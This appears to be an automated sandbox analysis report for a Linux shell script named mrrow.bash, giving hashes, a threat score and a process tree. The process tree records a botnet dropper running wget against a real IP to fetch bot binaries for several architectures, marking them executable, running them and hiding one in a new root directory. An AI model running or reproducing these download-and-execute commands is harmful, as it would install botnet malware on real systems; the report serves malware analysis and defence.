Overview

overview

5

Static

static

mrrow.bash

ubuntu-18.04-amd64

5

mrrow.bash

debian-9-armhf

5

mrrow.bash

debian-9-mips

5

mrrow.bash

debian-9-mipsel

5

Resubmissions

09-08-2022 19:31

220809-x8ezrafabp 5

09-08-2022 19:22

220809-x28cqaehdq 5

09-08-2022 19:21

220809-x2ny3sgec6 5

Analysis

  • max time kernel
    0s
  • max time network
    16s
  • platform
    linux_armhf
  • resource
    debian9-armhf-en-20211208
  • resource tags

    arch:armhfimage:debian9-armhf-en-20211208kernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
  • submitted
    09-08-2022 19:21

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General

  • Target

    mrrow.bash

  • Size

    2KB

  • MD5

    9486bdff70b6ec6243b012a91e90c21e

  • SHA1

    2364e70ee0d49e4e641fa7428958f5907a8c26a3

  • SHA256

    2db0ba4efda0653533e32abca1417cafb84f58322dc8d4df183e64771626b826

  • SHA512

    e64e2324c403d967d3d04140bb0eba159e57b83db09fdd50e882a8edc595211837505c86c1d44a65d11b9c3a34c0d02496b3c06f264e1175e248397e9716b4bd

Score
5/10

Malware Config

Signatures

  • Reads runtime system information 3 IoCs

    Reads data from /proc virtual filesystem.

  • Writes file to tmp directory 1 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/mrrow.bash
    /tmp/mrrow.bash
    1⤵
    • Writes file to tmp directory
    PID:363
    • /usr/bin/wget
      wget http://109.206.241.211/bins/bot.mips
      2⤵
        PID:364
      • /bin/cat
        cat bot.mips
        2⤵
          PID:369
        • /bin/chmod
          chmod +x bot.mips fuwwyowo mrrow.bash systemd-private-f713a8858f794794838d8fb5c40c5a28-systemd-timesyncd.service-hh8mJD
          2⤵
            PID:370
          • ./fuwwyowo
            ./fuwwyowo ssh
            2⤵
              PID:371
            • /usr/bin/wget
              wget http://109.206.241.211/bins/bot.mpsl
              2⤵
                PID:373
              • /bin/cat
                cat bot.mpsl
                2⤵
                  PID:377
                • /bin/chmod
                  chmod +x bot.mips bot.mpsl fuwwyowo mrrow.bash systemd-private-f713a8858f794794838d8fb5c40c5a28-systemd-timesyncd.service-hh8mJD
                  2⤵
                    PID:378
                  • ./fuwwyowo
                    ./fuwwyowo ssh
                    2⤵
                      PID:379
                    • /usr/bin/wget
                      wget http://109.206.241.211/bins/bot.arm
                      2⤵
                        PID:381
                      • /bin/cat
                        cat bot.arm
                        2⤵
                          PID:383
                        • /bin/chmod
                          chmod +x bot.arm bot.mips bot.mpsl fuwwyowo mrrow.bash systemd-private-f713a8858f794794838d8fb5c40c5a28-systemd-timesyncd.service-hh8mJD
                          2⤵
                            PID:384
                          • ./fuwwyowo
                            ./fuwwyowo ssh
                            2⤵
                              PID:385
                            • /usr/bin/wget
                              wget http://109.206.241.211/bins/bot.arm5
                              2⤵
                                PID:386
                              • /bin/cat
                                cat bot.arm5
                                2⤵
                                  PID:388
                                • /bin/chmod
                                  chmod +x bot.arm bot.arm5 bot.mips bot.mpsl fuwwyowo mrrow.bash systemd-private-f713a8858f794794838d8fb5c40c5a28-systemd-timesyncd.service-hh8mJD
                                  2⤵
                                    PID:389
                                  • ./fuwwyowo
                                    ./fuwwyowo ssh
                                    2⤵
                                      PID:390
                                    • /usr/bin/wget
                                      wget http://109.206.241.211/bins/bot.arm6
                                      2⤵
                                        PID:393
                                      • /bin/cat
                                        cat bot.arm6
                                        2⤵
                                          PID:399
                                      • /bin/sh
                                        sh -c "mkdir /rrz35pmrz4/ && >/rrz35pmrz4/rrz35pmrz4 && cd /rrz35pmrz4/ >/dev/null"
                                        1⤵
                                          PID:394
                                          • /bin/mkdir
                                            mkdir /rrz35pmrz4/
                                            2⤵
                                            • Reads runtime system information
                                            PID:395
                                        • /bin/sh
                                          sh -c "mv /tmp/fuwwyowo /rrz35pmrz4/rrz35pmrz4 && chmod 777 /rrz35pmrz4/rrz35pmrz4 >/dev/null"
                                          1⤵
                                            PID:396
                                            • /bin/mv
                                              mv /tmp/fuwwyowo /rrz35pmrz4/rrz35pmrz4
                                              2⤵
                                              • Reads runtime system information
                                              PID:397
                                            • /bin/chmod
                                              chmod 777 /rrz35pmrz4/rrz35pmrz4
                                              2⤵
                                                PID:400

                                            Network

                                            MITRE ATT&CK Matrix

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